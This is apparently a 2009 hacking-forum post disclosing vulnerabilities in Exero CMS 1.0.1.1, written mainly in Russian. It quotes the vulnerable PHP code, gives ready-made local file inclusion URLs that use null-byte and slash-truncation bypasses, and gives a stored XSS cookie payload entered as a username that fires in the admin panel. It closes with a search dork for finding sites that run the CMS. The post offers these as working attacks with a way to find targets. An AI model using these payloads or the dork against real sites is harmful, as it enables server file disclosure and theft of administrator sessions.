Exero CMS 1.0.1.1 Multiple Vulnerabilities

Discussion in 'Веб-уязвимости' started by Spyder, 13 Apr 2009.

  1. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    Exero CMS 1.0.1.1 Multiple Vulnerabilities

    1) Local File Inclusion

    Need: magic_quotes_gpc=off
    Файл: index.php
    PHP:
    if(empty($_REQUEST['module'])) {
        include(
    "modules/".$ecms->settings['defaultmod']);
    } else if(
    file_exists("modules/".$_REQUEST['module']."/index.php")) {
        include(
    "modules/".$_REQUEST['module']."/index.php");
    } else {
        include(
    "themes/$theme/errors/404.php");
    }
    Собственно инклуд тут в двух местах

    www.site.com/index.php?module={INC}%00
    и
    www.site.com/index.php?module=not_exist_module&theme={INC}%00

    Для второго случая наличие magic_quotes_gpc=off не обязательно, обходим известным способом со слешами
    www.site.com/index.php?module=not_exist_module&theme={INC} {/ x 4096}


    2) XSS

    XSS в коментарии к новосятм
    Файл: /modules/news/index.php

    XSS при регистрации. Указываем в логине <script>alert(document.cookie)</script>
    Файлы подверженые уязвимости:

    /modules/community/members.php
    PHP:
    $getuserinfo $db->query("SELECT * FROM users");
    while(
    $userinfo $db->fetch_array($getuserinfo)) {
        
    $users[$users['rowcount']] = $userinfo;
        
    $users['rowcount']++;
    }
    /admin/users.php
    PHP:
    $getusers $db->query("SELECT * FROM ".TABLE_PREFIX."users ORDER BY uid ASC");
        while(
    $userinfo $db->fetch_array($getusers)) {
            
    print_multicol_row(array($userinfo['username']."[align:left]"=>"","<a href=\"users.php?do=edit&user=".$userinfo['uid']."\">Edit</a>, <a href=\"users.php?do=delete&user=".$userinfo['uid']."\">Delete</a>[align:right]"=>"140"));
        }
    т.е xss будет прямо в админке

    dork: "Powered by Exero CMS"
     
    4 people like this.